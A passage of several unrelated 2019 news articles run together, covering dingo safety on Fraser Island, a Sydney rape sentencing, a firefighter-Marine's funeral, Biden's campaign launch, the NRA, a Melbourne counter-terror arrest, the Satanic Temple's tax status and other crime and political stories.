of your children. Never leave children in tents, on beaches or walking tracks without adults; not even for a few minutes,' it said. 'What looks like playful dog behaviour is often serious dominance-testing by dingoes. People caught up in this display for dominance can be bitten or seriously mauled. 'Children cannot be relied upon to know or remember what to do if threatened by dingoes. 'Some children have been bitten by dingoes that have wanted food or were excited by the children running and playing.' Visitors are also advised to keep food locked up to avoid them stealing it and to keep campsites so 'boring' they won't come near. If threatened by dingoes, people should stand still at their full height and fold their arms across their chest, and calmly back away instead of running. Advertisement Research indicates that more than half of dingo attacks occur when the victims are running away, as the animals 'chase' response is triggered. 'Wildlife authorities recognise that Fraser Island dingoes may become the purest strain of dingo on the eastern Australian seaboard and perhaps Australia-wide,' the Queensland Department of Environment and Science website states. The last person to be killed by a dingo on the island was in 2001 when Clinton Gage, nine, was killed and his brother mauled. He is one of only two people ever killed by dingoes in Australia, and sparked the culling of 31 dingoes on Fraser Island that outraged residents. 'On Fraser Island, they have become used to tourists as tourists tend to feed them. This has led to dingoes lurking around camping areas,' one local said earlier this year. Recent visitors to Fraser Island claimed dingoes were appearing more often and in greater numbers than in the past. 'We are on Fraser at the moment and there are so many around compared to past trips,' one said. Fraser Island is home to about 200 dingoes who travel in packs of up to 30. The latest incident is an eerie reminder of a case which captivated Australia in 1980, when Lindy Chamberlain's nine-week-old baby Azaria was taken by a dingo in the Northern Territory. A serial rapist who terrorised multiple women with brutal attacks will spend to at least 28 years behind bars. The 28-year-old man, who legally cannot be identified, spent six weeks preying on women across Sydney from May 2016. During his trial last year details the horrific attacks, which included several women being raped at knife point, were revealed. Transgender belly dancer Taliah Wolf, from Sydney, waived her right to anonymity to publicly share her story after she was raped by the man. Transgender belly dancer Taliah Wolf (pictured) was one of many women who were attacked and raped by a man in May 2016 Ms Wolf, from Sydney, waived her right to anonymity to publicly share her story Ms Wolf is a Lebanese transgender beauty pageant queen who has claimed the title of Miss International Australia and Ms Mardi Gras International Queen Ms Wolf, a beauty pageant queen, met the man through social media and invited him to the apartment she was staying at in Parramatta in Sydney's west on May 7, 2016. She told Daily Mail Australia how he had shown her 'sickening' footage of another woman being 'slapped around'. When she asked the man why he would do that to a woman, he calmly responded: 'I love seeing the fear in people's eyes'. She then began to fear the worst. Ms Wolf told Daily Mail Australia she thought the man was capable of killing her. The man proceeded to bite hard on her neck and wrist and 'rip off' her clothing without her consent before raping her. Ms Wolf met the man, who she described as a 'horrific monster', through social media and invited him over to the apartment where she was staying in Parramatta on May 7, 2016 Her ordeal, which involved being called a 's**t' , being beaten and having him spit in her eye, went on for two hours Her ordeal, which involved being called a 's**t' , being beaten and having him spit in her eye, went on for two hours. 'Two hours felt like a lifetime of hell,' she said. 'I had to fight for my life. 'I was terrified. He was threatening me that he would find me and pull my eye out with a screwdriver.' Ms Wolf, who lived on her own, could only pray for a distraction to escape her attacker. A loud bang from outside rattled the man who was already on-edge and she managed to convince him there were people coming for him. 'If I were you I would get my clothes on and run,' Ms Wolf said, and her attacker finally left the apartment. Ms Wolf's friend came over straight after and could immediately tell from the bruises and change in her usually bubbly demeanor that something was terribly wrong. The serial rapist was arrested in June 2016 and charged with 13 counts of aggravated sexual assault and a string of other charges including assault occasioning actual bodily harm. One victim had been working at an escort agency when she was attacked. Ms Wolf, who lived on her own, could only pray for a distraction to escape her attacker She has set out clear guidelines for any woman planning to meet up with a man they met online According to court documents obtained by news.com.au the woman was forced to perform sex acts on the man as he held a large butcher-style knife. He then raped her and asked: 'Do you like being raped?' In September last year he was found guilty in the NSW District Court. He was sentenced to 38 years jail with a non-parole period of 28 years in the New South Wales District Court at Sydney's Downing Centre on Friday. Sentencing Judge Deborah Sweeney told the court how the man had humiliated and degraded the woman several of whom were sex workers. 'He recorded some of the sex acts to set up in his defence that it was consensual and took photos of (his victim's) ID to intimidate them against talking to police because he had their home address,' she said. 'His behaviour was purposeful and was planned. He targeted escorts who were alone and who would be vulnerable because they were alone.' Advertisement Mourners said their final goodbyes to a US Marine staff sergeant and FDNY firefighter on Friday, after he was killed while serving in Afghanistan. Thousands of firefighters and other responders gathered to salute the flag-draped casket of Christopher Slutman, 43, along Manhattan's Fifth Avenue on Friday. Slutman's coffin arrived at St. Thomas Episcopal Church, in Manhattan, atop a fire engine caisson to the sound of bagpipes playing Amazing Grace in the background. The father of three died April 8 near Bagram Airfield U.S military base, after he was killed by a roadside bomb in Afghanistan - just three weeks before he was due to return home. Two other members of Slutman's Massachusetts-based Marine Reserve unit also were killed in the blast. Mayor Bill de Blasio says the decorated New York City firefighter 'represented the very best of us.' Christopher Slutman, 33, died April 8 near Bagram Airfield U.S military base. Two other members of Slutman's Massachusetts-based Marine Reserve unit also were killed. Firefighters gathered in their hundreds on Fifth Avenue to await for the arrival of Slutman's casket on Friday Mourners said their final goodbyes to Slutman, originally from Delaware, on Friday morning A vintage firetruck carrying a series of floral tributes leds the way for a convey of bagpipe players His coffin arrived at a Manhattan church atop a fire engine caisson, at the front of the solemn procession Shannon Slutman, second from left, holds onto a Marine officer as the casket for her husband The widowed mother of three was noticeably emotional throughout the service The grey and rainy skies didn't deter thousands of firefighters and other first responders from showing up to pay their respects Written on the side of the truck, Slutman's name appears among a list of other fallen firefighters from his battalion Slutman's colleagues climbed atop the Ladder 27 firetruck to safely lower his casket down to a platform in the middle of the street Slutman was among three American service members killed by the roadside bomb on April 8 Clergy, New York firefighters and US Marines gather at the top of the church's stairs The crowd stood to salute Slutman's flag-draped casket outside St. Thomas Episcopal Church Mayor Bill de Blasio says the decorated New York City firefighter, who was one of three killed by a roadside bomb in Afghanistan last month, 'represented the very best of us' An FDNY firefighter walks to place Slutman's helmet atop his casket Two of the fallen hero's children are escorted into the church by a Marine known to Slutman Slutman was set to return to his family just three weeks before he was tragically killed Slutman worked as an FDNY firefighter for 15-years, serving with Ladder 27, a department based in the Bronx. He previously earned a medal of bravery for rescuing a woman from a burning apartment, in 2014. The native of Newark, Delaware, also once served as a firefighter in Maryland. During the service, which was held under grey and rainy skies, a number of speakers addressed the sprawling crowd to pay tribute to Slutman, including Sgt. Major Chris Armstrong, who called him a leader, who was respected and admired. When I received the terrible news, my heart broke as I thought of Chris' family and unit, Armstrong said, before urging those in attendance to keep his memory alive, calling him a hero. Slutmans wife, Shannon, and their three daughters stood among mourners, wiping away tears throughout the moving tributes. 'I have years and years and years of stories to tell our girls so that they dont forget how blessed they were to have him as a dad, and for me to have him as a husband,' Shannon said during the service. During the service, held under grey and rainy skies, a number of speakers addressed the sprawling crowd to pay tribute to Slutman New York Major Bill DeBlasio (pictured) said that today the city was 'mourning a hero' Hundreds more New Yorkers stopped on the streets to watch the procession drive by Led by an FDNY firefighter, six marines carefully carried Slutman's casket into the church Officers stood around Shannon Slutman salute the FDNY veteran's casket as it's carried up the stairs Shannon grabs the arm of the person next to her as her husband is carried away When I received the terrible news, my heart broke as I thought of Chris' family and unit, Sgt. Christopher Armstrong said during the service Major DeBlasio followed, saying Today, our city mourns a hero, who though was taken too soon, the 43-year-olds fearless spirit reached so far, touched so many. Made this world immeasurably better. 'On behalf of all 8.6 million New Yorkers, I offer my deepest condolences to this good family, to all the brave men and women of the FDNY and United State Marine Corps, to all who had the privilege of knowing Chris,' De Blasio added. 'God bless you.' The heros best-friend of more than 30-years took to the podium to describe Slutman as someone who embodied everything great about this nation. Slutman will be laid to rest at Arlington National Ceremony on Tuesday Shannon Slutman, center, stands under an umbrella, holding hands with her children as rain begins to pour I have years and years and years of stories to tell our girls so that they dont forget how blessed they were to have him as a dad, and for me to have him as a husband,' Shannon said during the service Slutman's youngest daughter watches on as her dad's casket is loaded into a hearse following the end of the service The family huddled together as Slutman's casket is carried away from the church The heros best-friend of more than 30-years took to the podium to describe Slutman as someone who embodied everything great about this nation (pictured: an FDNY officer hands back Slutman's helmet to his bereaved family) His casket was returned to the top of the firetruck, this time with a plastic cover protecting it from an outpouring of rain Fellow Marine and Firefighter Kevin McGookin, also one of Slutman's closest friends said: 'I just need to honor him by making sure that the girls know that their dad was the greatest man Ive ever known.' 'Firefighter Slutman bravely wore two uniforms and committed his life to public service both as a New York City Firefighter and as a member of the United States Marine Corps,' FDNY Commissioner Daniel Nigro said in a statement. Delaware Gov. John Carney told mourners that the sound of a siren is a reminder to appreciate others' sacrifices. Slutman will be laid to rest at Arlington National Ceremony on Tuesday. Former Vice President Joe Biden slammed President Donald Trump on Thursday for 'shredding' the nation's moral fabric. Biden was in Philadelphia headlining a fundraiser at the home of David L. Cohen, executive senior vice president of Comcast, when he made the remarks. He said of the Trump era: 'I'm hoping that in a couple years, we'll look back and say - whether it is me or anybody else replacing him - that this is an aberration in American history, this four years, because it's not who we are.' Biden went on to say that 'every nation is held up by an invisible moral fabric, and it's being shredded, and our kids are listening'. The 2020 presidential hopeful was aiming to raise $500,000 at the event. Scroll down for video Former Vice President Joe Biden has said slammed President Donald Trump for 'shredding' the nation's moral fabric during a fundraiser at the home of a Comcast executive in Philadelphia Biden was in Philadelphia on Thursday evening headlining a fundraiser at the home of David L. Cohen, executive senior vice president of Comcast, when he made the remarks. Biden's vehicle is seen arriving to the fundraiser Biden said that 'every nation is held up by an invisible moral fabric, and it's being shredded, and our kids are listening'. A Biden supporter is seen near where the fundraiser was held, waving an American flag as a 'stop Trump' sign was planted in the ground next to him Biden is paying special attention to Pennsylvania, a state that swung to Trump in 2016 after voting for Democratic presidential candidates for decades. While Biden represented Delaware in the Senate for 36 years, he was often referred to as Pennsylvania's third senator. Biden will hold his first public event as a 2020 presidential candidate in Pittsburgh on Monday. Then it's off to Iowa, home of the leadoff nominating caucuses, on Tuesday and Wednesday, followed by two days in South Carolina. He'll visit the other two early-voting states, Nevada and New Hampshire, in early May before holding a major rally in Philadelphia. Biden announced earlier in the day that he was running for president and said Trump's 'moral equivalence' between white supremacists and counterprotesters was a major motivating factor. He said that the events in Charlottesville were an 'epiphany' to him because he had never seen anything like it in his lifetime. Ignoring the political noise in his own party, Biden aimed directly at Trump in an announcement video seizing on the Republican president's response to the deadly clash between white supremacists and counter-protesters in Charlottesville, Virginia, two years ago. That was the spur for him to launch a third presidential bid, Biden said, noting Trump's comments that there were some 'very fine people' on both sides of the violent encounter, which left one woman dead. 'We are in the battle for the soul of this nation,' Biden declared. Biden is paying special attention to Pennsylvania, a state that swung to Trump in 2016 after voting for Democratic presidential candidates for decades. There were also Biden opposers standing near where the fundraiser was held While Biden represented Delaware in the Senate for 36 years, he was often referred to as Pennsylvania's third senator. Biden will hold his first public event as a 2020 presidential candidate in Pittsburgh on Monday. Pictured is an area near where the event was held 'If we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation - who we are. And I cannot stand by and watch that happen.' Trump was quick to pounce on Biden, who he has nicknamed 'Sleepy Joe'. 'I only hope you have the intelligence, long in doubt, to wage a successful primary campaign,' Trump said. 'It will be nasty - you will be dealing with people who truly have some very sick & demented ideas. But if you make it, I will see you at the Starting Gate.' Yet Biden will get a chance to take on Trump only if he survives a Democratic field that now spans at least 20 contenders. Biden's first media appearance is set for Friday morning on ABC's 'The View,' a move that may help him make an appeal to women whose support will be crucial to winning the primary. He also hired Symone Sanders to serve as a senior strategist, tapping a prominent African American who previously worked for Biden's chief competitor, Bernie Sanders, in the 2016 presidential contest. As Biden neared his campaign launch, his challenges came into greater focus. He's been taking steps in recent weeks to clean up perceived missteps from his long record in elected office, including his role as a senator in allowing sexual harassment accuser Anita Hill to be grilled by an all-male committee during Clarence Thomas' Supreme Court confirmation hearings. A campaign aide said Biden has privately contacted Hill to share 'his regret for what she endured and his admiration for everything she has done to change the culture around sexual harassment in this country'. Trump was quick to pounce on Biden, who he has nicknamed 'Sleepy Joe'. Trump said: 'It will be nasty - you will be dealing with people who truly have some very sick & demented ideas. But if you make it, I will see you at the Starting Gate' But The New York Times reported Thursday that Hill said in an interview she was deeply unsatisfied and unconvinced by his apology. Biden has also highlighted his role in authoring the Violence Against Women Act nearly three decades ago, legislation that is credited with reducing domestic violence nationwide. Still, the 76-year-old Scranton, Pennsylvania, native's political liabilities are many. He would be the oldest person ever elected president - Trump was 70 in 2016 - even as his party embraces a new generation of diversity. Biden has yet to outline his positions on issues defining the 2020 Democratic primary, most notably 'Medicare for All,' the universal health care plan authored by Sanders that has been embraced in one form or another by virtually the entire Democratic field. He is betting that his working-class appeal and ties to Barack Obama's presidency will help him win over skeptics. Biden quickly racked up endorsements Thursday morning, becoming the first Democrat running for president with the backing of more than one US senator. Rep Cedric Richmond, D-La., who previously served as chairman of the Congressional Black Caucus, said he had urged the former vice president to run and highlighted Biden's potential electability when asked to assess African Americans' feelings. Biden has also hired Symone Sanders (pictured) to serve as a senior strategist, tapping a prominent African American who previously worked for Biden's chief competitor, Bernie Sanders, in 2016 'Black voters are saying the same thing that white Democrats are saying: We can't afford to lose. That is a big message. That's a big motivator,' Richmond said. Obama has so far declined to endorse Biden, however, and several former Obama aides are now working for other candidates. Biden addressed Obama's position as he briefly faced reporters in Delaware on Thursday. 'I asked President Obama not to endorse,' Biden said. 'Whoever wins this nomination should win it on their own merits.' While he didn't endorse, Obama took the unusual step of weighing in on Thursday's announcement. 'President Obama has long said that selecting Joe Biden as his running mate in 2008 was one of the best decisions he ever made,' Obama spokeswoman Katie Hill said. 'He relied on the vice president's knowledge, insight and judgment throughout both campaigns and the entire presidency. The two forged a special bond over the last 10 years and remain close today.' Biden struggled last month to respond to claims that he touched 2014 Nevada lieutenant governor nominee Lucy Flores' shoulders and kissed the back of her head before a fall campaign event. A handful of other women have made similar claims, though none has alleged sexual misconduct. Biden, a former US senator from Delaware, pledged in an online video to be 'much more mindful' of respecting personal space. On another issue he'll have to address throughout the campaign, Biden once played a key role in anti-crime legislation that had a disproportionately negative impact on African Americans. And last month he struggled to explain comments he made as a freshman senator in 1975 about the school busing debate. Despite the challenges, his high-profile status in the race may make it difficult for his competitors. New Jersey Sen Cory Booker cast Biden's announcement as a direct threat to his own campaign in a fundraising appeal. 'The truth is this poses a real challenge for an underdog campaign like ours,' Booker said. Privately, Trump allies have warned that Biden might be the biggest reelection threat given the former vice president's potential appeal among the white working class in the Midwest, the region that gave Trump a path to the presidency. The nation's largest gun rights organization played a pivotal role in President Donald Trump's victory in 2016. Three years later and the National Rifle Association is limping toward the next election divided and diminished. It's a reversal that has stunned longtime observers and that is raising questions about the NRA's influence heading into 2020, as Trump and Vice President Mike Pence prepare to headline the group's annual convention in Indianapolis on Friday. 'I've never seen the NRA this vulnerable' said John Feinblatt, president of Everytown for Gun Safety, a nonprofit that advocates for gun control measures. Despite opposition to the federal bump-stock ban, the president is expected to receive a warm welcome from the National Rifle Association President Trump will address the National Rifle Associations annual convention in Indiana In the months after Trump's election, the NRA seemed on top of the world. After pouring tens of millions of dollars into the presidential race, their dark horse candidate occupied the desk in the Oval Office. Republicans controlled both branches of Congress. And the emboldened group had ambitious plans afoot for easing state and national gun regulations. Instead, much of the legislation the group championed has stalled, due, in part, to a series of mass shootings, including the massacre at a Parkland, Florida, high school that left 17 dead and launched a youth movement against gun violence that has had a powerful impact. At the same time, the group is grappling with infighting, bleeding money and facing a series of investigations into its operating practices, including allegations that covert Russian agents seeking to influence the 2016 election courted its officials and funneled money through the group. Indeed, as Trump is speaking Friday, Maria Butina, the admitted Russian agent, is scheduled to be sentenced in federal court in Washington. Wayne LaPierre, chief executive officer of the National Rifle Association will also be speaking The only major action Trump has taken on gun control since being elected is to ban bump stocks, devices that make semiautomatic rifles fire like machine guns And then there's the simple fact that, with Trump in office, gun owners no longer fear the Second Amendment is under attack. 'Good times are never good for interest groups because it's much better when Armageddon is at your doorstep,' said Harry Wilson, a Roanoke College professor who has written extensively on gun politics. 'Fear is a huge motivator in politics.' The NRA, said Adam Winkler, a UCLA law professor and expert on gun policy, has also dramatically changed its messaging over the last two years, with 'NRATV' advocating a panoply of far-right political views that have turned off some members. At the same time, public sentiment has shifted. A March AP-NORC poll found that 67% of Americans overall think gun laws should be made stricter - up from 61% in October 2017. The NRA now appears to be both divided and diminished after a series of mass shootings, including the massacre at a Parkland, Florida, high school, pictured The Parkland shooting launched a youth movement against gun violence that has had a powerful impact including a rally in Washington entitled March For Our Lives in March 2018 The nation's largest gun rights organization played a pivotal role in President Donald Trump's victory in 2016 And a June 2018 Gallup poll found overall favorable opinions of the NRA down slightly from October 2015, from 58% to 53%. Unfavorable views have grown, from 35% to 42%. Views of the NRA have also become increasingly partisan over decades of Gallup polling, and in the last few years as well. In 2018, just 24% of Democrats had a favorable opinion. Favorable views among Republicans in 2018 were at a record high, Gallup found. Against that backdrop, Democratic politicians have become more comfortable attacking - and even actively running against - the NRA and pledging action to curb gun violence. And gun control groups like Everytown, which is largely financed by former New York City Mayor Michael Bloomberg, and a political action committee formed by Gabby Giffords, the former Arizona congresswoman wounded in a shooting, have become better organized and more visible, especially at the state level. That reversal was made clear during the 2018 midterm elections, when those groups vastly outspent the NRA. Exactly how much influence the NRA group wields in the 2020 election is unclear During the midterms, the NRA 'committed almost a disappearing act,' said Everytown's Feinblatt. Winkler, the UCLA law professor, allowed that the group had scored some victories under Trump, including the appointment of two Supreme Court justices who may be open to striking down gun laws. But overall, he said, 'On the legislative front, the NRA has been frustrated,' with top priorities like national reciprocity for conceal carry laws and a repeal of the ban on silencers stalled. Instead, Trump introduced a new federal regulation: a ban on bump stocks after a man using the device opened fire on a crowd of concertgoers on the Las Vegas strip in Nevada, killing 58 people and wounding hundreds. That didn't seem to bother the NRA members who were beginning to arrive at the convention Thursday and insisted the group remains as influential as ever. Visitors look at firearms on display at the 2019 National Rifle Association Annual Convention at the Indianapolis Convention Center in Indianapolis, Indiana 'Why do you think Trump and Pence are coming here?' said Roger Frasz, a lifetime NRA member and gun shop owner in Prescott, Michigan, who was wearing a red 'Trump 2020' hat. Alan Jacobson, 24, an airport worker who lives in Downers Grove, Illinois, said he relies on the NRA to inform him about issues and considers them not only relevant, but essential. 'We're just average people that congressmen won't listen to. The NRA is our voice,' he said. Still, Mike Cook, who works at a shipyard in Alabama, said he's been disappointed that gun rights haven't seen much movement under Trump. The bump stock ban, in particular, upset him because it was done administratively by Trump officials. He's uncertain if the millions spent on Trump's campaign in 2016 were worth it. But, he said, Trump is 'better than the alternatives.' Firearms and weapons enthusiasts love the convention which allows them to view manufacture's exhibits on all things related to firearms, protection, and hunting Workers prepare a display at the Remington booth inside of the Indiana Convention Center the day before the start of the annual National Rifle Association (NRA) convention in Indianapolis Exactly how much influence the group will wield in 2020 remains unclear. The NRA, its policy arm and its political committee did not respond to requests for comment this week. But Andrew Arulanandam, the NRA's managing director of public affairs, has said recent reports of turmoil and financial troubles have been exaggerated and are fueled by anti-gun forces. Still, the NRA is having financial issues, according to an analysis of tax filings by The Associated Press. The tax-exempt organization's 2016 and 2017 filings, the most recent years available, show combined losses of nearly $64 million. Income from membership dues plunged about $35 million in 2017. And revenue from contributions, grants and gifts dropped about $35 million. At the same time, NRA insiders and longtime observers have described an organization at war with itself - a divide that erupted very publicly recently when the NRA sued its longtime public relations firm, Ackerman McQueen, accusing it of refusing to hand over financial records to account for its billings. That could affect the group's messaging heading into 2020. But even if the group cuts back from the record $412 million the NRA's nonprofit wings spent during the 2016 election year (that's in addition to the $30 million two NRA political action committees invested in electing Trump), the group is expected to be an active spender in the election. Counter-terror police are questioning a second man in relation to an incident outside a church in North Melbourne. Police swooped on a man and arrested him next to St Mary's Church as part of a police operation at 1.30pm on Friday. He was handcuffed and put in a plastic HAZMAT suit to preserve evidence before being taken into custody. The man (pictured) was handcuffed and put in a plastic suit to preserve evidence before being taken into custody Counter terror police swoop on a man and arrest him outside a church in North Melbourne. The man was placed in a white forensic suit by police and taken away in hand cuffs Photos show two officers armed with machine guns - one dressed in a helmet and camouflage military fatigues - standing guard over the man, who was wearing a black hoodie and pants and seated on the ground. Nearby resident Sara told the Herald Sun that she heard the police arresting the man. 'I heard them yell get down on the ground,' she said. 'I looked out the window and saw the man on the ground with police in camouflage gear sort of on top of him. 'The police had these huge assault rifles and it looked really serious.' It remains unclear what the two men's intentions were and police just before 5pm today refused to offer any further details. A Victoria Police spokesman said there was 'no threat' to locals although there were reports at least one nearby school was put into lockdown. 'The Joint Counter Terrorism Team Melbourne can confirm it is conducting operational activity,' the spokesman said. A worker at nearby Trutrack Suspension said the police action seemed to focus on the church. 'We can hear a few helicopters. We drove through before, it was all blocked off, the road. Police (are) everywhere,' the worker said. Two German tourists staying in the area told 9News they saw two men dressed in army fatigues carrying guns and "walking around the corner" of a house. 'Weve been a bit worried about what was happening with all the police,' Anka Konpf said. Her friend, Pauline Przygode, said she believed the man 'came out of the church'. Counter terrorism and Victoria Police officers swarmed to St Mary's Anglican Church in Morth Melbourne where a man wearing a white suit was taken into custody St Mary's Anglican church in North Melbourne has become the scene of a suspected terror incident. Police swarmed on the location this afternoon where a man was taken into custody The Age reports counter-terrorism officers focused on an apartment building on Bedford Street, near the corner of Peel street. A resident of the building who had come downstairs to pick up a food order said police were in the stairwell. Its believed the man arrested outside the church was living in the building. 'Its so scary,' the resident said. Armed police were later seen guarding the apartment block. Backpackers across the road from the church said they saw police get the arrested man to wear the white suit. A woman who answered the phone at St Mary's refused to comment on the incident, directing all enquiries to head office. Locum vicar Barry Fernley told the Herald Sun he was stunned by the arrest. 'It comes as a shock to me,' he said. The drama comes just days after Christians were targetted in co-ordinated attacks in Sri Lanka. Scores of people were killed and hundreds injured on Sunday in a series of coordinated suicide bombings in Sri Lankan churches and hotels, carried out, authorities said, by a little-known terror group. A massive international criminal investigation into the attacks is ongoing, with six foreign police agencies and Interpol assisting local police, including Scotland Yard from the UK and the FBI from the US. ISIS and a junior defence minister in the Sri Lankan government claimed the terrorist attacks were a response to the attack on mosques in Christchurch in March. Dozens of Muslims were murdered in the Christchurch attack by a lone gunman. A Satanic church claims to have become the first group of Satanists in American history to be officially recognized as a religion by the IRS. The Satanic Temple has been given section 501(c) tax exempt status, which puts it in the same bracket as major religions such as Catholicism and organizations such as the Salvation Army. The recognition means that the Satanic Temple, which has 16 chapters in the U.S. and thousands of followers around the world, can apply for certain federal grants. Anyone who donates money to the group can also write it off as a tax deduction. The Satanic Temple has been given section 501(c) tax exempt status which puts it in the same bracket as major religions like Catholicism. Members are seen in Santa Cruz last June Satanic Temple members gather around a statue of Baphomet, the goat-headed representation of the devil, in Salem, Massachusetts in 2016 The IRS verified that the Satanic Temple is tax exempt in its online directory The groups founder Lucien Greaves said in a statement that the categorization by the IRS should lay to rest any suspicion that we don't meet the qualifications of a true religious organization. He said: Satanism is here to stay. The Satanic Temples followers are a group who see Satan as the a symbol against tyrannical authority, one member told DailyMail.com in January. They are known as hipster pranksters and believe that they are redefining Satanism and using it as a tool in the culture wars. Although its members frequently wear Satanic imagery they do not necessarily worship the devil and see their main focus as enforcing the division between church and state. Their protests include staging a mock rally in support of Florida governor Rick Scott in 2013 for signing a bill that allowed students to read religious messages at assemblies. Founder Lucien Greaves (above) said in a statement that the categorization by the IRS should lay to rest any suspicion that we don't meet the qualifications of a true religious organization Members believe that they are redefining Satanism and using it as a tool in the culture wars They also prevented the erection of a Ten Commandments monument at the Oklahoma State Capitol by insisted that their their statue of the goat demon Baphomet should be given equal prominence. The Satanic Temple, which was founded in 2013, is featured in a film called Hail Satan? which is currently on limited release in theaters. In order to qualify for tax exemption from the IRS a religious group must prove that it is not operated to the benefits of private interests. None of its profits can benefit private individuals and they are restricted about what lobbying they can do. Tax exempt organizations must also disclose more to the public than those that do pay tax. The IRS declined to explain on how exactly it made the ruling about the Satanic Temple and a spokesman said they were prohibited from commenting on private taxpayer matters. The Satanic Temple says its aims are to reject tyrannical authority and protest against exemptions for religions. Temple members are seen in Santa Cruz last summer Few details about its filings are on the IRS website about the Satanic Temple but under the Cause Area it is listed Christian, which appears to be meant ironically. Greaves said in a statement: In light of theocratic assaults upon the Separation of Church and State in the legislative efforts to establish a codified place of privilege for one religious viewpoint, we feel that accepting religious tax-exemption - rather than renouncing it in protest - can help us to better assert our claims to equal access and exemption while laying to rest any suspicion that we don't meet the qualifications of a true religious organization. The Satanic Temple emphasizes that it is different from the Church of Satan which was founded in 1966 by Anton Szandor LaVey. That organization billed itself as 'the first above-ground organization in history openly dedicated to the acceptance of Man's true nature - that of a carnal beast. Instead the Satanic Temple says its aims are to reject tyrannical authority and protest against exemptions for religions. Its Seven Tenets, or founding principles, include the belief that the spirit of compassion, wisdom, and justice should always prevail over the written or spoken word. A semi-naked man was intoxicated when he allegedly wore just a coloured wig and a pair of red underpants to rob a 7-Eleven armed with a flick knife, a court has heard. Car wash worker Zye Allen, 18, allegedly attempted to rob Kirra 7-Eleven at Coolangatta, in Queensland, at 7.20am on Anzac Day. Allen, from Murwillumbah in New South Wales, was granted bail at Southport Magistrates Court on Friday, according to the Gold Coast Bulletin. He was charged with attempted armed robbery and going armed so as to cause fear. Car wash worker Zye Allen, 18, allegedly attempted to rob Kirra 7-Eleven at Coolangatta, in Queensland, at 7.20am on Anzac Day Allen was allegedly so intoxicated that he could barely stand up while he waved a 25 centimetre gold flick knife at the 7-Eleven worker. 'The retail attendant did not feel overly threatened by the defendant due to his intoxication level, unsteadiness on his feet and behind his security screen,' court documents obtained by the Bulletin said. The retail worker called police who arrived when Allen was allegedly making a getaway. 'He has fled before obtaining any items and has allegedly waved the knife around inside and outside the store before getting on a bicycle,' a Queensland Police spokesman said. 'Police officers detained the man on a medium strip near the store and apprehended him.' Allen was allegedly so intoxicated that he could barely stand up while he waved a 25 centimetre gold flick knife at the 7-Eleven worker (stock image) Magistrate Mark Howden said it was an 'amateur' armed robbery attempt. 'If you are going to do things like you did its going to be a lot more difficult to get bail,' Magistrate Howden said. Allen's case would have been heard in children's court if the alleged attempted robbery happened two weeks ago since he only turned 18 in April. He was granted bail on the conditions that he report to police three times a week and live in Bilinga on the Gold Coast. The case was adjourned until May 14. A controversial businessman has admitted to sharing livestream footage of last month's devastating Christchurch terrorist attack which claimed 50 lives. Philip Neville Arps, 44, pleaded guilty to two charges of distributing the chilling footage the day after the March 15 massacre when he appeared in Christchurch District Court on Friday. The Christchurch businessman is among 10 people charged with objectionable publication offences in relation to the livestream under New Zealand's 1993 Films, Videos and Publications Classification Act. Philip Neville Arps (pictured in court in March ) has been remanded in custody since his arrest The court heard Arps allegedly sent the video to an unknown person and requested for the footage to be modified with a 'kill count' as victims were shot, Stuff reported. He also allegedly requested crosshairs be added as if the viewer was looking through a rifle scope. He then allegedly distributed the unmodified footage to another 30 people. When interviewed by police, Arps admitted to requesting the livestream footage to be modified and thought it was 'awesome', the court heard. When questioned about the massacre at Christchurch two mosques he replied: 'I could not give a f..., mate.' Philip Neville Arps (pictured) has pleaded guilty to two charges of distributing the chilling footage of the Christchurch massacre which claimed 50 lives Arps was remanded in custody for sentenced on June 14, where he faces up to 14 years behind bars. His request to be assessed for a home detention sentence was denied by Judge Stephen O'Driscoll. In the days following the massacre, New Zealand's chief censor banned the livestream footage of the terror attack and the manifesto allegedly written and released by Australian Brenton Harrison Tarrant. Tarrant faces 50 murder charges and 39 attempted murder charges in relation to the Christchurch massacre. Arps, whose insulation firm has Nazi themes in its company logo, is no stranger to controversy. Controversial Christchurch businessman Philip Arps (pictured) will be sentenced in June He and two other men delivered a box containing a severed pig head to the Masjid Al-Noor mosque in 2016, three years before it was targeted the recent terror attack. In the Islamic faith pork is considered unclean and the consumption of it is prohibited as outlined in the Qur'an. Arps was fined $800 and ordered to pay $130 court costs in relation to the 2016 incident. 'It was a deliberate attack, and deliberate offence against Muslims, were the judge's words. Obviously the judge knows me well,' Arps said to the camera after his appeal against the charge was dismissed. Philip Hammond today met the Chinese Premier in Beijing as the scandal deepened into who was responsible for leaking top secret details about Huawei's 5G plans. Intelligence chiefs are furious after proposals to allow the Chinese firm to build part of the new phone network were leaked following a top secret National Security Council meeting. Suspicion over who released the information has fallen on ministers, prompting a string of top figures, including Gavin Williamson, Sajid Javid, Jeremy Hunt, Penny Mordaunt and Liam Fox, to desperately release statements of denial yesterday. The furore surrounding the leak overshadowed Hammond's meeting with Chinese Premier Li Keqiang as the Chancellor tried to secure multi million pound trade deals with the economic superpower. Only Cabinet minister David Lidington and Business Secretary Greg Clark have so far declined to comment publicly. The furore surrounding the leak overshadowed Hammond's meeting with Chinese Premier Li Keqiang (pictured) However Mr Lidington told a cyber-security conference in Glasgow: All I can say is that we dont normally comment on leak inquiries, this matter is being taken very seriously. Hammond today said of the leak: 'My understanding from London (is) that an investigation has been announced into apparent leaks from the NSC meeting earlier this week. 'To my knowledge there has never been a leak from a National Security Council meeting before and therefore I think it is very important that we get to the bottom of what happened here. He added: It's not about the substance of what was apparently leaked. Speaking today about the leak, Hammond said: 'To my knowledge there has never been a leak from a National Security Council meeting before and therefore I think it is very important that we get to the bottom of what happened here' 'It's not earth-shattering information. But it is important that we protect the principle that nothing that goes on in national security council meetings must ever be repeated outside the room.' Sir Gus O'Donnell, former Britain's most senior civil servant, has said his successor should trawl ministers emails and phone records to find out who leaked secret information on the new 5G network Mr Hammond was speaking today at the Belt and Road Forum, as China looks to secure trillions of dollars of investment in new land and sea routes linking it with the West over the next 30 years. The Chancellor said he hopes the UK can win lucrative work providing financial, legal and design services for the initiative and said the City of London should be the 'partner of choice.' It came as Sir Gus O'Donnell, once the country's top civil servant, has called on his successor to use every method within the law to find out who leaked the information. He told the Radio 4's Today programme: 'I've been involved in inquiries where they've looked at mobile phone records, email records and the like... personally, I would be doing that. 'You can imagine Secretaries of State saying "well, it wasn't me, I didn't talk to any journalists whatsoever". Of course, it might well be that they spoke to someone and that someone spoke.' Sir Gus advised those carrying out the leak inquiry to 'look people in the eye and find out from them, are they telling the truth'. There have been calls for Scotland Yard to lead the investigation, but Sir Gus said it would be difficult to find evidence strong enough to satisfy a criminal enquiry. Sir Gus's successor, Sir Mark 